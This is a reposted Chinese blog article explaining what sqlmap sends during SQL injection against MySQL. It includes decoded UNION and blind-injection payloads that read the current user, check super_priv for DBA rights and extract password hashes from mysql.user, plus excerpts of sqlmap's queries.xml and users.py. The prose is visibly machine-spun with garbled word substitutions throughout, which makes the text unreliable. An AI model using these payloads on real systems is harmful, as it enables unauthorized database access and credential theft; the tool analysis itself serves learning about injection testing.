加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

聊一聊SQLMAP在进行SQL注入时的整个流程

发布时间:2019-07-10 07:26:49 所属栏目:建站 来源:sher10ck
导读:许多小搭档在发明可能判定出注入的时辰,大大都选择就是直接上sqlmap,功效每每也不尽人意,于是就有设法来写写 sqlmap 从执行到判定注入,到底产生了什么? 本文就用我们看的见的角度来说明,看看sqlmap到底发送了什么payload,这些payload是怎么出来的,

将 payload 解码:

  1. /xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP 
  2.  
  3. /xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV 

我们直接在 mysql 节制台下执行呼吁:

聊一聊SQLMAP在举办SQL注入时的整个流程

聊一聊SQLMAP在举办SQL注入时的整个流程

第一个呼吁返回了用户名, 0x71766a6271 解码为 qvjbq,那么这一步我们可以提取出用户名了。

第二个呼吁返回了 1 ,我们将查询呼吁提取出来:

  1. SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1 

在 mysql 数据库下的 user 表中查询 super_priv (超等权限)的值:

聊一聊SQLMAP在举办SQL注入时的整个流程

返回了 Y,以是我们判定是否为 dba 的思绪就是通过查察 mysql.user 下 super_priv 的值。

这个呼吁有一个坑,有的时辰我们所注入的处事器上面并没有 mysql 这个数据库,以是用这个呼吁的条件是 mysql 这个数据库要存在。

2. 查询暗码

抓的包:

  1. GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 

解码:

  1. /xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48 

这里有个很风趣的处所,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是从 mysql.user 中获取 authentication_string 的值,可是很风趣的是,这个值只有在 mysql 版本 5.7 以上,password 才会酿成 authentication_string,我们也可以从 queries.xml 中找到这条语句:

  1. <passwords> 
  2.             <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/> 
  3.             <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/> 
  4. </passwords> 

发明默认就是这个 authentication_string,以是我们这里直接修改 queries.xml 中的语句,将查询的列明改成 password 再测试一下。

后头测试发明,我们在没有修改的环境下,sqlmap 也会跑出暗码,并且查察 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:

聊一聊SQLMAP在举办SQL注入时的整个流程

看下源码,然后找到了( sqlmap/plugins/generic/users.py):

  1. values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) 

这里用 replace 将两个列明举办了替代,内里有个 ifel 的语句,要是第一次没找到就会举办替代,这样我们的题目就办理掉啦,sqlmap 照旧想的挺周全的哈哈。

总结

sqlmap 内里的内容其实是太多太多,想要探索内里的内容必要耗费大量的时刻,虽然收成也是成正比的,搞清晰sqlmap 的流程道理,对我们 sql 注入技能会有很大的晋升。

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读